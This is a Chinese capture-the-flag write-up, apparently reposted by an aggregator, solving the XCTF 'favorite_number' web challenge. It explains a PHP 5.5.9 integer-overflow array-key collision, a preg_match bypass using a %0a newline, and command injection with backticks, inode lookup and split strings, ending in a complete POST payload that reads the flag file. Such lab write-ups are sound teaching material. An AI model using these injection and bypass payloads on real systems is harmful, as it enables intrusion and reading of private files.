攻防世界 WEB favorite_number
Posted qq_41696858
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了攻防世界 WEB favorite_number相关的知识,希望对你有一定的参考价值。
这题考的是php一个整数溢出漏洞。PHP5.5.9给出具体版本,那大概就跟这个版本有关系了
找啊找啊找啊找:https://bugs.php.net/bug.php?id=69892
就是这个漏洞,官方写的很明白,整数在16进制下是8位数,一旦出现第九位是1,那么这个下标在比较的时候和下标为0是一样的,16的8次方是4294967296,
同理16的9次方也行(测试过,第一位是1,后面全是0的16进制数都行)
这样我们就找到了下标不同,而数组内容相等的方法
下面就是如何利用echo了,有两种思路,一种:
ls -i / //查看flag文件的inode号,用这个inode号去替代flag文件这个文件名
tac `find / -inum 22951559`
第二种,基础的拼接字符串
a=/fla;b=g;head $a$b
哦对了还有一个问题,就是preg_match绕过数字限制问题,用一个换行就好了%0a,preg_match默认匹配到换行符就认为匹配结束
那么构造123%0atac
find / -inum 22951559`就ok了
给一个完整的payload:POST过去
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 22951559`
参考视频链接:https://www.bilibili.com/video/BV16f4y1n7Bh
以上是关于攻防世界 WEB favorite_number的主要内容,如果未能解决你的问题,请参考以下文章
XCTF-攻防世界CTF平台-Web类——18favorite_number(命令注入)(php5.5.9整数溢出preg_match正则表达式绕过)